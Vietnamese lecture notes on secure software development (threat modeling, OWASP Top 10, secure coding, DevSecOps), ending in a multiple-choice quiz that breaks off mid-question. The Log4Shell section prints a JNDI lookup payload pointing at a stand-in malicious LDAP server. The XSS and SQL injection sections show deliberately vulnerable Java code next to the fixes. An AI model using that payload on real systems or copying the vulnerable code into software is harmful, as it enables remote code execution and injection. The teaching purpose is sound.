Bài 3–4 version 1: SSDLC – Quy trình Phát triển Phần mềm An toàn

1. Nền tảng Bảo mật

1.1. Bộ ba CIA

CIA là nền tảng lý do tại sao team IT Security tồn tại:

1.2. Mối quan hệ: Requirements – Threats – Mitigations

• Requirements định nghĩa những gì hệ thống phải làm/bảo vệ
• Threats giúp xác định các yêu cầu còn thiếu
• Mitigations là biện pháp giảm thiểu threat → nếu không thể mitigate được thì thường là non-requirement

1.3. Defense in Depth (Phòng thủ theo chiều sâu)

Ví dụ Web Application Server có 3 lớp bảo mật:

2. Secure SDLC (SSDLC)

SSDLC là tích hợp các hoạt động bảo mật vào toàn bộ quy trình SDLC, thay vì chỉ kiểm tra bảo mật ở cuối:

Mỗi giai đoạn đều cần tích hợp bảo mật tương ứng.

3. Security Requirements – Đặc tả Yêu cầu An toàn

3.1. Các câu hỏi cần trả lời ở giai đoạn Requirements

Khi bắt đầu dự án, cần trả lời:

• Hệ thống có chứa dữ liệu bí mật, nhạy cảm, hay PII (Personally Identifiable Information) không?
• Dữ liệu được lưu trữ ở đâu và như thế nào? Ứng dụng public (internet) hay internal (intranet)?
• Ứng dụng có thực hiện tác vụ nhạy cảm không? (chuyển tiền, mở khóa, vận chuyển thuốc…)
• Ứng dụng có tác vụ rủi ro không? (cho phép upload file…)
• Hệ thống cần đảm bảo tính sẵn sàng ở mức độ nào? (99.9%, 99.99%…)

3.2. Danh sách Security Requirements phổ biến

3.3. Ví dụ Security Requirements của Web Application

• Mã hóa dữ liệu khi lưu trữ và truyền
• Kiểm chứng (validate) tất cả input của người dùng
• Quét thư viện/framework bên thứ 3, cập nhật phiên bản mới nhất
• Hash và salt tất cả mật khẩu người dùng
• Sử dụng Multi-Factor Authentication (MFA) cho tài khoản quan trọng
• Chỉ cho phép truy cập qua HTTPS, redirect HTTP → HTTPS, dùng TLS phiên bản mới nhất
• Không hardcode thông tin nhạy cảm
• Không để thông tin nhạy cảm trong comment
• Ghi log tất cả lỗi, đặc biệt lỗi liên quan đến security
• Đảm bảo catch exceptions/errors → fail safe

4. Secure Design – Thiết kế An toàn

4.1. Định nghĩa

“Secure by design means the software has been designed from the ground up to be secure. Malicious practices are taken for granted and care is taken to minimize impact when a security vulnerability is discovered or on invalid user input.”

Tức là:

• Phần mềm được thiết kế an toàn ngay từ ban đầu
• Luôn giả định có thể xảy ra các hoạt động độc hại
• Nhằm giảm thiểu ảnh hưởng khi phát hiện lỗ hổng hoặc input không hợp lệ

4.2. Design Flaw vs Security Bug

4.3. Chi phí sửa lỗi theo giai đoạn SDLC

4.4. Nguyên tắc Shifting Left (Pushing Left)

Shifting Left = đảm bảo security ngay từ khi bắt đầu dự án, không phải lúc kết thúc.

Bảo mật phải hiện diện ở tất cả giai đoạn, không chỉ Testing và Release.

4.5. OWASP Top 10 (2021)

4.6. Insecure Design: Case Study Log4Shell

CVE-2021-44228 (Log4Shell) — một trong những lỗ hổng nghiêm trọng nhất lịch sử:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jExample {
    private static final Logger logger = LogManager.getLogger(Log4jExample.class);

    public static void main(String[] args) {
        // Dữ liệu đầu vào từ người dùng
        String userInput = "${jndi:ldap://malicious-server.com/exploit}";
        
        // Ghi log → Log4j thực thi JNDI lookup → RCE!
        logger.info("User input: " + userInput);
    }
}

4.7. Tránh Insecure Design như thế nào?

1. Tạo User Story tốt:

• Ghi rõ cả flaw có thể xảy ra trong user story
• Bao gồm cả yêu cầu chức năng và phi chức năng về bảo mật

2. Tích hợp security ngay trong quy trình phát triển:

• Tính đến an toàn phần mềm từ đầu
• Tích hợp kiểm thử bảo mật trong quy trình

3. Phân tách layer rõ ràng:

• Tách biệt rõ layer ứng dụng và mạng
• Sử dụng thư viện design pattern an toàn

4.8. OWASP SAMM

SAMM (Software Assurance Maturity Model) là framework mở hỗ trợ:

• Đánh giá các phương pháp bảo mật hiện có của tổ chức
• Thiết lập chương trình đảm bảo bảo mật phần mềm
• Định nghĩa và đo lường các hoạt động bảo mật

5 Business Functions của SAMM: Governance, Design, Implementation, Verification, Operations

4.9. Secure Design Concepts

4.10. Dữ liệu trong ứng dụng

• Production data: dữ liệu thực tế khi chạy thật — không được dùng khi test/dev
• Môi trường dev/test phải dùng dữ liệu masked/anonymized (đã che thông tin)
• Dữ liệu thật chỉ dùng trên môi trường production

5. Threat Modeling – Mô hình hóa Mối đe dọa

5.1. Tại sao cần Threat Modeling?

Thiết kế phần mềm thông thường tập trung vào đảm bảo có đủ chức năng, thay vì đảm bảo phần mềm chỉ hoạt động theo cách mong muốn.

Threat modeling = xem xét phần mềm dưới góc nhìn của kẻ tấn công (Evil brainstorming)

5.2. Quy trình Threat Modeling

Chi tiết từng bước:

1. Đưa ra câu hỏi về các trường hợp xấu có thể xảy ra → tạo danh sách concern
2. Đánh giá khả năng và ảnh hưởng → loại bỏ concern không thể xảy ra hoặc không ảnh hưởng
3. Rate các concern còn lại: cao / trung bình / thấp → tạo danh sách threats và risks
4. Đưa ra kế hoạch: giảm thiểu (sửa/loại bỏ), tài liệu hóa, chấp nhận…

5.3. Các phương pháp Threat Modeling

STRIDE (1999 — Microsoft)

Do Loren Kohnfelder và Praerit Garg tạo ra. Tập trung vào authentication, authorization, CIA và thoái thác trách nhiệm.

PASTA

Process for Attack Simulation and Threat Analysis — 7 bước:

Tập trung vào yêu cầu kinh doanh, chức năng, sơ đồ dữ liệu. Mục tiêu: xác định, liệt kê, gán điểm cho threats.

TRIKE

• Phương pháp mã nguồn mở, tiếp cận từ góc nhìn quản lý rủi ro
• Dùng Data Flow Diagram (DFD) để mô phỏng luồng dữ liệu
• Gán giá trị rủi ro (CRUD: Create/Read/Update/Delete) cho mỗi threat
• Chọn biện pháp kiểm soát theo mức độ ưu tiên

VAST

Visual, Agile, and Simple Threat — thiết kế cho môi trường DevOps lớn:

• Tự động hóa mô hình hóa mối đe dọa
• Tích hợp với toàn bộ SDLC và các công cụ CI/CD
• Cộng tác giữa developers, architects, security team, và lãnh đạo

DREAD

DREAD là phương pháp đánh giá, phân tích và xác định xác suất xảy ra rủi ro bằng cách cho điểm các mối đe dọa theo 5 tiêu chí:

Cách chấm điểm DREAD:

Mỗi tiêu chí được chấm từ 0 đến 10, sau đó tính trung bình để ra điểm rủi ro tổng thể:

$$\text{DREAD Score} = \frac{D + R + E + A + D}{5}$$

Ví dụ thực tế — SQL Injection trên web banking:

5.4. OCTAVE

OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation) tiếp cận threat modeling từ góc nhìn tổ chức và tài sản, không chỉ từ góc kỹ thuật thuần túy.

• Tập trung vào tài sản CNTT quan trọng (critical assets) — dữ liệu khách hàng, hệ thống thanh toán, v.v.
• Xác định các mối đe dọa ảnh hưởng đến CIA của từng tài sản
• Kết hợp quan điểm của lãnh đạo, kỹ thuật, và vận hành trong cùng một quy trình

5.5. So sánh các phương pháp Threat Modeling

5.6. Công cụ hỗ trợ Threat Modeling

5.7. Câu hỏi thảo luận (có trả lời)

6. Secure Code – Lập trình An toàn

6.1. Lựa chọn Framework và Ngôn ngữ

6.2. Untrusted Data – Dữ liệu không tin cậy

Nguyên tắc vàng: Never Trust User Input

Mọi dữ liệu đến từ bên ngoài đều phải bị nghi ngờ, bao gồm:

• Form input từ người dùng
• URL parameters, query strings
• HTTP headers (User-Agent, Referer, Cookie)
• Dữ liệu từ API bên ngoài
• File upload
• Dữ liệu từ database (nếu có thể đã bị tamper)

Luồng xử lý Input an toàn:

6.3. Các lỗ hổng phổ biến và cách phòng tránh

Reflected XSS / URL Redirect

• Vấn đề: Kẻ tấn công chèn script độc hại vào URL, nạn nhân click vào và script chạy trong trình duyệt
• Phòng tránh:
  • Validate và encode output trước khi render ra HTML
  • Dùng whitelist cho redirect URL
  • Thiết lập Content Security Policy (CSP) header

// Sai - dễ bị XSS
String name = request.getParameter("name");
response.getWriter().println("<h1>Hello " + name + "</h1>");

// Đúng - encode output
String name = request.getParameter("name");
String safeName = ESAPI.encoder().encodeForHTML(name);
response.getWriter().println("<h1>Hello " + safeName + "</h1>");

SQL Injection

• Vấn đề: Input của user được ghép trực tiếp vào câu SQL, kẻ tấn công có thể đọc/xóa/sửa toàn bộ database
• Phòng tránh: Luôn dùng Parameterized Queries / Prepared Statements

// Sai - SQL Injection
String query = "SELECT * FROM users WHERE username = '" + username + "'";
stmt.execute(query);

// Đúng - Parameterized Query
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, username);
stmt.executeQuery();

Stored XSS

• Vấn đề: Script độc hại được lưu vào database và render ra cho tất cả người dùng xem trang đó
• Phòng tránh:
  • Sanitize input trước khi lưu
  • Encode output khi hiển thị ra HTML
  • Dùng thư viện như DOMPurify (frontend) hoặc OWASP Java HTML Sanitizer

6.4. Các chủ đề Secure Code khác

HTTP Methods: Disable tất cả HTTP method không sử dụng (PUT, DELETE, TRACE, OPTIONS…) để giảm attack surface.

Identity Management:

• Không tự xây hệ thống auth từ đầu nếu không cần thiết
• Dùng giải pháp có sẵn: Active Directory, Keycloak, Auth0
• Nếu bắt buộc tự xây: dùng giao thức chuẩn OAuth 2.0 / OpenID Connect

Authentication & Authorization:

• Phân biệt rõ Authentication (xác thực danh tính) và Authorization (phân quyền truy cập)
• Implement Role-Based Access Control (RBAC) hoặc Attribute-Based Access Control (ABAC)
• Luôn kiểm tra quyền ở server-side, không tin vào client

Session Management:

• Session ID phải đủ dài và random (dùng SecureRandom, không dùng Random)
• Invalidate session sau logout và sau timeout
• Regenerate session ID sau khi đăng nhập thành công (tránh Session Fixation)

Bounds Checking:

• Kiểm tra giới hạn mảng, buffer để tránh Buffer Overflow (quan trọng với C/C++)
• Validate range của số nguyên để tránh Integer Overflow

Error Handling, Logging & Monitoring:

• Không để stack trace hay thông tin hệ thống lộ ra người dùng cuối
• Log đủ thông tin để audit: ai, làm gì, khi nào, từ đâu
• Không log thông tin nhạy cảm: password, credit card, session token

6.5. OWASP Secure Coding Checklist

OWASP cung cấp checklist các nhóm cần kiểm tra khi lập trình an toàn:

6.6. CWE Top 25 (2022)

CWE (Common Weakness Enumeration) là danh sách các điểm yếu phần mềm phổ biến nhất, được MITRE duy trì:

6.7. Secure Coding Baselines

Secure coding baseline là tập hợp các yêu cầu tối thiểu mà mọi dự án phải đáp ứng trước khi chuyển sang giai đoạn tiếp theo hoặc trước khi phát hành.

Cách triển khai baseline trong tổ chức:

• Tích hợp SAST tool vào IDE (plugin) để developer thấy lỗi ngay khi code
• Chạy scan tự động hàng ngày và tạo báo cáo
• Không cho merge code nếu có lỗi bảo mật mức Critical/High
• Training developer về các lỗi thường gặp trong dự án thực tế

6.8. SAST vs DAST

6.9. Công cụ phân tích mã nguồn phổ biến

7. Secure Testing & Deployment – Kiểm thử và Triển khai An toàn

7.1. White Box vs Black Box Testing

7.2. Các loại kiểm thử bảo mật

Nguyên tắc kiểm thử bảo mật dựa trên CIA:

• Kiểm tra Confidentiality: Dữ liệu có bị lộ không?
• Kiểm tra Integrity: Dữ liệu có bị thay đổi trái phép không?
• Kiểm tra Availability: Hệ thống có bị DoS không?
• Kiểm tra Authentication: Cơ chế xác thực có vững chắc không?
• Kiểm tra Authorization: Phân quyền có đúng không?
• Kiểm tra Non-repudiation: Log có đủ để chứng minh hành vi không?

7.3. Phạm vi kiểm thử trong SDLC

7.4. Quy trình Penetration Testing

8. Bộ khung Phát triển Phần mềm An toàn (SSDF)

8.1. Tổng quan

SSDF (Secure Software Development Framework) được đề xuất bởi NIST (Hoa Kỳ), tài liệu NIST SP 800-218, phiên bản 1.1 (February 2022). Mục tiêu: đưa ra các khuyến nghị để giảm thiểu rủi ro từ lỗ hổng phần mềm.

8.2. Chi tiết 4 nhóm Practice

9. DevOps và DevSecOps

9.1. DevOps là gì?

DevOps = kết hợp Development và Operations, là văn hóa làm việc trong môi trường Agile:

Lợi ích của DevOps:

• Cải thiện sự hợp tác giữa dev và ops
• Tăng tốc độ phát hành sản phẩm
• Phát hiện và sửa lỗi nhanh hơn
• Tự động hóa deployment và configuration

9.2. CI/CD Pipeline

Các bước trong CI/CD pipeline bảo mật:

9.3. DevSecOps

DevSecOps = tích hợp Security vào toàn bộ pipeline DevOps, không phải chỉ ở cuối:

Gartner DevSecOps Toolchain theo giai đoạn:

9.4. Continuous Inspection cho Java

SAST Tools:

• SpotBugs + FindSecBugs — phân tích bytecode Java, tìm bug patterns
• SonarQube — taint analysis, track luồng dữ liệu độc hại

DAST Tools:

• OWASP ZAP — quét web app đang chạy, kiểm tra header, endpoint, traffic

Dependency Analysis:

• OWASP Dependency Check — tích hợp Maven/Jenkins/SonarQube, báo cáo CVE và điểm CVSS

Container Image Scanning:

• Anchore Engine — mã nguồn mở, phân tích và chứng nhận Docker image, tích hợp Kubernetes/ECS

10. Các lỗi thường gặp (Common Pitfalls)

10.1. CSRF (Cross-Site Request Forgery)

Cơ chế tấn công:

Phòng tránh:

• Sử dụng CSRF Token (synchronizer token pattern)
• Kiểm tra Origin/Referer header
• Dùng SameSite cookie attribute
• Re-authentication cho các giao dịch quan trọng

10.2. SSRF (Server-Side Request Forgery)

Cơ chế tấn công:

Hậu quả: Attacker có thể truy cập internal services, cloud metadata endpoint (AWS: 169.254.169.254), scan internal network.

Phòng tránh:

• Whitelist các domain/IP được phép fetch
• Không cho phép fetch đến private IP ranges (10.x, 172.16.x, 192.168.x)
• Validate và sanitize URL input

10.3. Insecure Deserialization

• Serialization: Chuyển object thành byte stream để lưu trữ hoặc truyền đi
• Deserialization: Khôi phục object từ byte stream

Phòng tránh:

• Hạn chế sử dụng serialization khi có thể thay thế bằng JSON/XML
• Nếu bắt buộc dùng: chỉ deserialize từ nguồn tin cậy
• Validate dữ liệu trước khi deserialize
• Dùng thư viện có cơ chế deserialization filtering

10.4. Race Condition

Race condition xảy ra khi kết quả của chương trình phụ thuộc vào thứ tự/thời điểm thực thi của các thread, mà thứ tự đó không được đảm bảo.

Phòng tránh:

• Dùng database transactions với mức isolation phù hợp
• Dùng mutex/lock để đồng bộ hóa truy cập tài nguyên dùng chung
• Thiết kế idempotent operations

📝 Câu hỏi Trắc nghiệm

Câu 1. CIA Triad trong bảo mật thông tin gồm những thành phần nào?

• A. Confidentiality, Integrity, Authentication
• B. Confidentiality, Integrity, Availability
• C. Compliance, Integrity, Availability
• D. Confidentiality, Inspection, Availability

Câu 2. “Defense in Depth” có nghĩa là gì?

• A. Chỉ cần một lớp bảo mật mạnh nhất
• B. Bảo mật ở tầng database là đủ
• C. Triển khai nhiều lớp bảo mật độc lập, lớp này vượt qua thì lớp khác vẫn bảo vệ
• D. Tập trung bảo mật vào giai đoạn Testing

Câu 3. Nguyên tắc “Shifting Left” trong SSDLC có nghĩa là gì?

• A. Chuyển team bảo mật sang bên trái văn phòng
• B. Tích hợp bảo mật sớm từ đầu vòng đời phát triển phần mềm, không chờ đến Testing
• C. Ưu tiên kiểm thử bảo mật hơn phát triển tính năng
• D. Giảm bớt số lượng security requirements

Câu 4. Theo mô hình chi phí sửa lỗi trong SDLC, giai đoạn nào tốn kém nhất khi phát hiện và xử lý lỗ hổng?

• A. Requirements
• B. Design
• C. Code
• D. Incident Response (sau khi phát hành)

Câu 5. “Design Flaw” khác “Security Bug” ở điểm nào?

• A. Design Flaw chỉ xảy ra ở ngôn ngữ C/C++, Security Bug xảy ra ở mọi ngôn ngữ
• B. Design Flaw là lỗi trong thiết kế (cho phép hành động vốn không được phép), Security Bug là lỗi trong lập trình (cho phép dùng ứng dụng một cách độc hại)
• C. Design Flaw nghiêm trọng hơn Security Bug
• D. Chúng là cùng một thứ, chỉ khác cách gọi

Câu 6. Log4Shell (CVE-2021-44228) là ví dụ điển hình của loại lỗ hổng nào trong OWASP Top 10 2021?

• A. Broken Access Control
• B. SQL Injection
• C. Insecure Design
• D. Security Misconfiguration

Câu 7. Trong OWASP Top 10 2021, lỗ hổng nào đứng đầu (hạng 1)?

• A. Injection
• B. Broken Authentication
• C. Broken Access Control
• D. Cryptographic Failures

Câu 8. Những lỗ hổng nào là hoàn toàn MỚI trong OWASP Top 10 2021 (không có trong 2017)?

• A. Injection, CSRF, XSS
• B. Insecure Design, Software and Data Integrity Failures, SSRF
• C. Broken Access Control, Cryptographic Failures
• D. Security Misconfiguration, Vulnerable Components

Câu 9. STRIDE trong threat modeling là viết tắt của gì?

• A. Security, Trust, Risk, Integrity, Defense, Evaluation
• B. Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege
• C. System, Threat, Risk, Impact, Data, Exploitation
• D. Scan, Test, Review, Identify, Detect, Evaluate

Câu 10. “Repudiation” trong STRIDE đề cập đến mối đe dọa nào?

• A. Kẻ tấn công từ chối dịch vụ với người dùng hợp lệ
• B. Người dùng phủ nhận đã thực hiện hành vi độc hại, không để lại bằng chứng
• C. Hệ thống từ chối xử lý request hợp lệ
• D. Kẻ tấn công từ chối là kẻ tấn công

Câu 11. DREAD là phương pháp threat modeling đánh giá theo các tiêu chí nào?

• A. Damage, Risk, Exploitability, Attack surface, Detection
• B. Damage, Reproducibility, Exploitability, Affected users, Discoverability
• C. Design, Risk, Evaluation, Analysis, Detection
• D. Data, Reproducibility, Exploit, Access, Discovery

Câu 12. Phương pháp PASTA trong threat modeling có bao nhiêu bước?

• A. 4
• B. 5
• C. 6
• D. 7

Câu 13. TRIKE khác các phương pháp threat modeling khác ở điểm nào?

• A. Chỉ dùng cho ứng dụng mobile
• B. Tiếp cận từ góc nhìn quản lý rủi ro, dùng DFD và gán giá trị CRUD cho threats
• C. Chỉ do Microsoft phát triển
• D. Tự động hóa hoàn toàn bằng AI

Câu 14. VAST (Visual, Agile, and Simple Threat) phù hợp nhất với môi trường nào?

• A. Dự án nhỏ, team 2–3 người
• B. Ứng dụng standalone không kết nối internet
• C. Tổ chức lớn, môi trường DevOps với nhiều team và công cụ CI/CD
• D. Hệ thống embedded/firmware

Câu 15. OCTAVE tập trung vào điều gì trong threat modeling?

• A. Phân tích mã nguồn tĩnh
• B. Xác định, đánh giá và quản lý rủi ro cho tài sản CNTT quan trọng của tổ chức
• C. Kiểm thử penetration tự động
• D. Quét dependency của thư viện bên thứ 3

Câu 16. Công cụ nào sau đây là của Microsoft, dùng để vẽ DFD và tự động sinh danh sách threats theo STRIDE?

• A. OWASP Threat Dragon
• B. Threagile
• C. Microsoft Threat Modeling Tool
• D. IriusRisk

Câu 17. Threagile có đặc điểm nổi bật nào?

• A. Chỉ chạy trên Windows
• B. Mô hình hóa kiến trúc bằng file YAML, tự động chạy risk rules và tạo báo cáo
• C. Chỉ hỗ trợ STRIDE
• D. Yêu cầu trả phí license đắt tiền

Câu 18. “Least Privilege” trong security requirements có nghĩa là gì?

• A. Cấp cho user quyền cao nhất để tránh lỗi
• B. Mỗi thành phần/user chỉ được cấp đúng mức quyền tối thiểu cần thiết để hoàn thành nhiệm vụ
• C. Chỉ admin mới có quyền đăng nhập hệ thống
• D. Giảm số lượng user account để dễ quản lý

Câu 19. Tại sao không nên dùng Production data trong môi trường development/testing?

• A. Vì production data thường quá lớn để chạy test
• B. Vì môi trường dev/test kém bảo mật hơn, dùng production data thật sẽ làm lộ thông tin nhạy cảm/PII của người dùng thật
• C. Vì production data thường bị mã hóa không đọc được
• D. Vì đây là quy định pháp luật bắt buộc toàn cầu

Câu 20. “Security through obscurity” là gì và tại sao nó không đủ?

• A. Kỹ thuật mã hóa nguồn mở, an toàn vì được nhiều người kiểm tra
• B. Dựa vào việc giấu kín cơ chế/source code để bảo mật — không đủ vì kẻ tấn công có thể reverse engineer hoặc tìm ra bằng cách khác
• C. Chiến lược bảo mật vật lý cho máy chủ
• D. Phương pháp mã hóa dữ liệu mạnh nhất hiện nay

Câu 21. Parameterized Query (Prepared Statement) giải quyết loại lỗ hổng nào?

• A. XSS
• B. CSRF
• C. SQL Injection
• D. Path Traversal

Câu 22. SAST và DAST khác nhau như thế nào?

• A. SAST chạy trên production, DAST chạy trên staging
• B. SAST phân tích mã nguồn tĩnh (không cần chạy app), DAST kiểm thử ứng dụng đang chạy (mô phỏng tấn công từ bên ngoài)
• C. SAST chỉ dùng cho Java, DAST dùng cho mọi ngôn ngữ
• D. SAST tự động hoàn toàn, DAST cần làm thủ công

Câu 23. SonarQube là công cụ thuộc loại nào?

• A. DAST
• B. Penetration Testing
• C. SAST (Static Application Security Testing)
• D. Network Scanner

Câu 24. OWASP Dependency Check dùng để làm gì?

• A. Kiểm tra cú pháp code
• B. Quét các thư viện/dependency để phát hiện CVE (lỗ hổng đã biết)
• C. Kiểm tra performance của ứng dụng
• D. Tạo báo cáo penetration testing

Câu 25. “Secure coding baseline” là gì?

• A. Code mẫu an toàn do OWASP cung cấp
• B. Tập hợp yêu cầu secure code tối thiểu mà dự án phải đáp ứng trước khi chuyển giai đoạn hoặc phát hành
• C. Phiên bản backup của source code
• D. Tiêu chuẩn đặt tên biến trong code

Câu 26. Tại sao nên dùng SecureRandom thay vì Random trong Java để tạo session ID?

• A. SecureRandom nhanh hơn Random
• B. Random chỉ chạy trên Windows, SecureRandom chạy đa nền tảng
• C. Random tạo ra số có thể đoán được (predictable), kẻ tấn công có thể dự đoán session ID và chiếm phiên làm việc
• D. SecureRandom tạo số lớn hơn Random

Câu 27. Trong SSDF của NIST, “SBOM” là gì?

• A. Security Baseline Operations Manual
• B. Software Bill of Materials — danh sách tất cả thành phần phần mềm trong sản phẩm
• C. Standard Build Operations Method
• D. Secure Binary Output Model

Câu 28. SSDF của NIST gồm bao nhiêu nhóm Practice chính?

• A. 3
• B. 4
• C. 5
• D. 7

Câu 29. DevSecOps là gì?

• A. DevOps chỉ dành cho công ty bảo mật
• B. Tích hợp Security vào toàn bộ pipeline DevOps, không phải chỉ ở cuối vòng đời
• C. Một công cụ kiểm thử bảo mật tự động
• D. Phương pháp thay thế cho Agile

Câu 30. Trong CI/CD, “Continuous Inspection” có nghĩa là gì?

• A. Developer kiểm tra code của nhau hàng ngày
• B. Tự động chạy security scan (SAST, DAST, dependency check) trong pipeline như một bước bắt buộc
• C. Quản lý giám sát hệ thống production 24/7
• D. Review code bằng AI

Câu 31. CSRF là gì và cơ chế tấn công hoạt động như thế nào?

• A. Kẻ tấn công inject script vào trang web để đánh cắp cookie
• B. Kẻ tấn công lừa trình duyệt của nạn nhân (đang đăng nhập) gửi request độc hại đến web app mà nạn nhân tin tưởng
• C. Kẻ tấn công chèn SQL vào form đăng nhập
• D. Kẻ tấn công giả mạo server để lấy thông tin đăng nhập

Câu 32. Biện pháp chính để phòng tránh CSRF là gì?

• A. Mã hóa toàn bộ database
• B. Sử dụng HTTPS
• C. CSRF Token (synchronizer token pattern) + SameSite cookie attribute
• D. Rate limiting đăng nhập

Câu 33. SSRF (Server-Side Request Forgery) nguy hiểm vì lý do gì?

• A. Cho phép kẻ tấn công đọc source code của server
• B. Cho phép kẻ tấn công lợi dụng server để truy cập các tài nguyên nội bộ mà từ internet không thể truy cập trực tiếp
• C. Cho phép kẻ tấn công thay đổi database
• D. Cho phép kẻ tấn công giả mạo IP

Câu 34. Insecure Deserialization có thể dẫn đến hậu quả nghiêm trọng nhất là gì?

• A. Mất dữ liệu database
• B. Remote Code Execution (RCE) — kẻ tấn công thực thi code tùy ý trên server
• C. Tấn công từ chối dịch vụ
• D. Lộ password của admin

Câu 35. Race condition trong bảo mật phần mềm xảy ra khi nào?

• A. Phần mềm chạy quá nhanh so với phần cứng
• B. Kết quả của chương trình phụ thuộc vào thứ tự/thời điểm thực thi của các thread mà không được đồng bộ hóa, kẻ tấn công có thể lợi dụng khoảng thời gian giữa kiểm tra và thực hiện
• C. Server bị quá tải do nhiều request đồng thời
• D. Database bị lock khi nhiều user cùng truy cập

Câu 36. PII là viết tắt của gì và tại sao quan trọng trong security requirements?

• A. Private IP Information — thông tin địa chỉ IP nội bộ
• B. Personally Identifiable Information — thông tin có thể nhận dạng cá nhân, cần bảo vệ đặc biệt theo luật (GDPR…)
• C. Public Internet Infrastructure — cơ sở hạ tầng internet công khai
• D. Password Identity Index — chỉ số độ mạnh của mật khẩu

Câu 37. “Hash và salt mật khẩu” có nghĩa là gì và tại sao cần cả hai?

• A. Mã hóa mật khẩu bằng AES, salt là khóa mã hóa
• B. Hash: biến mật khẩu thành chuỗi một chiều; Salt: thêm chuỗi ngẫu nhiên vào trước khi hash để ngăn rainbow table attack
• C. Hash: nén mật khẩu; Salt: thêm ký tự đặc biệt vào mật khẩu
• D. Cả hai đều là cách mã hóa đối xứng khác nhau

Câu 38. “Fail safe” trong error handling có nghĩa là gì?

• A. Khi có lỗi, hệ thống tự động khởi động lại
• B. Khi có lỗi, hệ thống về trạng thái an toàn (từ chối truy cập, không để lộ thông tin) thay vì để lỗi dẫn đến lỗ hổng
• C. Hệ thống không bao giờ có lỗi
• D. Khi có lỗi, hệ thống thông báo chi tiết cho user để debug

Câu 39. OWASP SAMM là gì?

• A. Công cụ quét lỗ hổng tự động
• B. Software Assurance Maturity Model — framework đánh giá và cải thiện chương trình bảo mật phần mềm của tổ chức
• C. Danh sách Top 10 lỗ hổng web
• D. Phương pháp kiểm thử penetration

Câu 40. Trong OWASP SAMM, 5 Business Functions là gì?

• A. Plan, Code, Build, Test, Deploy
• B. Governance, Design, Implementation, Verification, Operations
• C. Requirements, Threat Modeling, Secure Coding, Testing, Monitoring
• D. Confidentiality, Integrity, Availability, Authentication, Authorization

Câu 41. “Zero Trust” / “Never Trust, Always Verify” áp dụng như thế nào trong Secure Design?

• A. Không cấp quyền cho bất kỳ user nào
• B. Luôn xác thực và kiểm tra quyền tại mọi điểm trong hệ thống, kể cả request từ bên trong mạng nội bộ
• C. Chỉ tin tưởng request từ IP nội bộ
• D. Yêu cầu user đăng nhập lại mỗi 5 phút

Câu 42. Server-Side Validation quan trọng hơn Client-Side Validation vì lý do gì?

• A. Server-side nhanh hơn client-side
• B. Client-side validation có thể bị bypass hoàn toàn bằng cách chỉnh sửa request trực tiếp, chỉ có server-side validation mới thực sự bảo vệ được
• C. Client-side validation tốn nhiều tài nguyên server hơn
• D. Không, client-side validation đủ rồi

Câu 43. “Multi-Factor Authentication (MFA)” bổ sung lớp bảo vệ nào so với chỉ dùng mật khẩu?

• A. Mã hóa mật khẩu mạnh hơn
• B. Yêu cầu thêm yếu tố xác thực thứ hai (something you have / something you are) ngoài mật khẩu, ngay cả khi mật khẩu bị lộ vẫn không đăng nhập được
• C. Mật khẩu phức tạp hơn bắt buộc
• D. Giới hạn số lần đăng nhập sai

Câu 44. Điều gì xảy ra với chi phí sửa lỗi khi phát hiện lỗ hổng càng muộn trong SDLC?

• A. Chi phí giảm dần vì team đã có kinh nghiệm hơn
• B. Chi phí tăng dần đáng kể, từ ~$10 ở giai đoạn Requirements đến “Significantly More” ở giai đoạn Incident Response
• C. Chi phí không thay đổi nhiều
• D. Chi phí tăng nhưng chỉ ở giai đoạn Testing

Câu 45. Trong “Security Requirement” của web application, “chỉ cho phép truy cập qua HTTPS” giải quyết vấn đề bảo mật nào?

• A. SQL Injection
• B. XSS
• C. Man-in-the-Middle Attack — ngăn kẻ tấn công nghe lén và sửa đổi traffic giữa client và server
• D. Brute force mật khẩu

Câu 46. Anchore Engine là công cụ dùng để làm gì trong pipeline CI/CD?

• A. Phân tích mã nguồn Java
• B. Kiểm tra tính an toàn của Docker container image, phát hiện CVE trong image
• C. Kiểm thử penetration tự động
• D. Quản lý secret và API key

Câu 47. White Box Testing khác Black Box Testing như thế nào trong kiểm thử bảo mật?

• A. White Box dùng công cụ tự động, Black Box dùng thủ công
• B. White Box: tester có access vào source code/kiến trúc nội bộ; Black Box: tester không biết cấu trúc bên trong, tiếp cận như attacker từ ngoài
• C. White Box chỉ kiểm tra giao diện, Black Box kiểm tra logic
• D. White Box chậm hơn, Black Box nhanh hơn

Câu 48. “Application Partitioning” trong Secure Design Concepts có ý nghĩa gì?

• A. Chia ổ cứng server thành nhiều partition
• B. Chia ứng dụng thành các module/service nhỏ với ranh giới rõ ràng, giảm thiểu blast radius khi một phần bị compromise
• C. Tạo nhiều bản sao ứng dụng để load balancing
• D. Phân chia công việc giữa các developer

Câu 49. Trong SSDF, nhóm “Respond to Vulnerabilities” (RV) bao gồm những hoạt động nào?

• A. Viết code an toàn và review code
• B. Thiết lập vulnerability disclosure program, theo dõi CVE database, có response playbook, ghi lại root cause, phân phối patch với tự động hóa
• C. Đào tạo developer về secure coding
• D. Thiết lập CI/CD pipeline

Câu 50. Công cụ “OWASP Threat Dragon” tuân theo tài liệu nào và có đặc điểm gì?

• A. Tuân theo OWASP Top 10, chỉ chạy trên Windows
• B. Tuân theo Threat Modeling Manifesto, là công cụ mã nguồn mở của OWASP để vẽ threat model diagram trong SSDLC
• C. Tuân theo NIST SSDF, là công cụ thương mại
• D. Tuân theo STRIDE duy nhất, không hỗ trợ phương pháp khác

Câu 51. Tại sao “hardcode” thông tin nhạy cảm (API key, password) vào source code là nguy hiểm?

• A. Làm chậm hiệu suất ứng dụng
• B. Bất kỳ ai có quyền đọc source code (developer, contractor, người tìm được repo leak) đều có thể lấy được credentials, và credentials không thể rotate mà không sửa code
• C. Source code sẽ không compile được
• D. Vi phạm cú pháp lập trình

Câu 52. Trong Security Requirements, “Input Validation và Sanitization” khác nhau như thế nào?

• A. Chúng hoàn toàn giống nhau
• B. Validation: kiểm tra input có đúng định dạng mong đợi không (reject nếu sai); Sanitization: làm sạch/encode input để loại bỏ ký tự nguy hiểm trước khi xử lý
• C. Validation dùng cho SQL, Sanitization dùng cho HTML
• D. Sanitization kiểm tra, Validation làm sạch

Câu 53. CWE (Common Weakness Enumeration) là gì và khác CVE như thế nào?

• A. Chúng hoàn toàn giống nhau
